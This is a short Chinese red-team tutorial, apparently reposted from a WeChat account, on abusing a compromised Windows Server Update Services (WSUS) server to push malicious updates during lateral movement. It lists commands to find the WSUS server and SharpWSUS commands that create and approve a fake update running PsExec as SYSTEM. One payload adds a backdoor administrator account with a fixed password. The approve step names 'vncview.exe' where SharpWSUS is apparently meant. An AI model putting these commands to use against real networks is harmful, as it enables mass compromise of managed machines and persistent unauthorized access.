WSUS补丁下发利用

WSUS 是Windows Server 更新服务,为补丁更新服务器，在内网横向的过程中如果获取了该服务器（WSUS） 即可利用该机器进行对主机进行恶意补丁下发。

一、定位WSUS服务器

1、通过注册表查询

regqueryHKLM\Software\Policies\Microsoft\Windows\WindowsUpdate/vwuserver

2、利用sharpwsus定位

SharpWSUS.exelocate

二、下发恶意补丁

注意点WSUS的有效负载必须是Microsoft 签名的二进制文件，所以利用psexec进行利用

SharpWSUS.execreate/payload:"C:\Users\\Public\\psexec64.exe"/args:"-accepteula -s -d cmd.exe /c 'net user test QAZWSX@123 /add && net localgroup administrators test /add'"/title:"demo01"

SharpWSUS.execreate/payload:"C:\Users\eveuser\Desktop\PsExec64.exe"/args:"-accepteula -s -d cmd.exe /c \"whoami\""

补丁生成之后补丁中的二进制文件（psexec.exe）会被保存在设置的WSUS目录”wuagent.exe”

创建组将受害机器添加进入该组，注意补丁下发后并不会立即安装

vncview.exeapprove/updateid:7cfb42e4-d436-4c61-ba04-5837c5818158/computername:evepw-22004961.redteam.com/groupname:"test1"

设置完成之后是可以在wsus控制台当中看到创建的对应补丁

补丁安装时间是根据DC创建的组策略来进行审批更新

到达时间之后WSUS会将补丁推送到指定的受害者机器上，完成利用修改此规则后WSUS批准更新，更新將安裝在电脑上，不會按照組策略的配置。

原文始发于微信公众号（想要暴富的安服仔）：WSUS补丁下发利用